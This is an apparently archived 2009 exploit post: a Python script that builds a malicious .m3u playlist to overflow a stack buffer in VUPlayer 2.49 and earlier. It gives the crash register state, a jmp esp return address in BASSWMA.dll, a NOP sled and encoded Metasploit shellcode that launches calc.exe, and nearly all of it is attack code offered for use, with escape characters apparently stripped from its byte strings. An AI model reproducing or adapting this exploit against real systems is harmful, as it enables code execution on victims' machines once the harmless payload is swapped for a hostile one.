vuplayer249m3u-overflow.txt
Posted on 18 August 2009
#!/usr/bin/env python # # VUPlayer <=2.49 .M3u Universal buffer overflow exploit # Author: mr_me # Download: http://vuplayer.com/ # Tested on Wind0ws XP SP3 and Vist@ # # Thanks to my brother raWjaW ---> RESPECT! :) # # What do we see at crash time? ;) # EAX 00000000 # ECX 41414141 # EDX 00000001 # EBX 00000111 # ESP 0012EEA8 ASCII "AAAAAAAAAAAAAAAAAA~ # EBP 41414141 # ESI 00000001 # EDI 0012F214 ASCII "AAAAAAAAAAAAAAAAAA~ # EIP 41414141 # # 1010539f x9fx53x10x10 jmp esp in BASSWMA.dll universal eip = "x9fx53x10x10"; crash = "HTTP://" + "x41" * 1005 nops = "x90" * 20 # http://www.metasploit.com # EXITFUNC=process, CMD=calc.exe buf = ("x89xe1xd9xeexd9x71xf4x58x50x59x49x49x49x49" "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" "x42x41x41x42x54x41x41x51x32x41x42x32x42x42" "x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a" "x48x47x34x43x30x45x50x45x50x4cx4bx51x55x47" "x4cx4cx4bx43x4cx45x55x42x58x45x51x4ax4fx4c" "x4bx50x4fx45x48x4cx4bx51x4fx51x30x43x31x4a" "x4bx51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46" "x51x49x50x4cx59x4ex4cx4dx54x49x50x42x54x45" "x57x49x51x49x5ax44x4dx43x31x48x42x4ax4bx4c" "x34x47x4bx50x54x47x54x45x54x43x45x4bx55x4c" "x4bx51x4fx47x54x45x51x4ax4bx45x36x4cx4bx44" "x4cx50x4bx4cx4bx51x4fx45x4cx43x31x4ax4bx4c" "x4bx45x4cx4cx4bx45x51x4ax4bx4cx49x51x4cx46" "x44x44x44x48x43x51x4fx50x31x4ax56x45x30x50" "x56x42x44x4cx4bx51x56x50x30x4cx4bx51x50x44" "x4cx4cx4bx44x30x45x4cx4ex4dx4cx4bx43x58x45" "x58x4bx39x4ax58x4dx53x49x50x42x4ax50x50x43" "x58x4ax50x4dx5ax44x44x51x4fx45x38x4ax38x4b" "x4ex4cx4ax44x4ex50x57x4bx4fx4dx37x42x43x43" "x51x42x4cx42x43x43x30x41x41"); filler = "xcc" * 20000 buffer = crash + eip + nops + buf + filler print "[+] Building eviL .m3u file" file = open('MrMes_wickEd_mix.m3u','w'); file.write(buffer); file.close(); print "[+] Done"
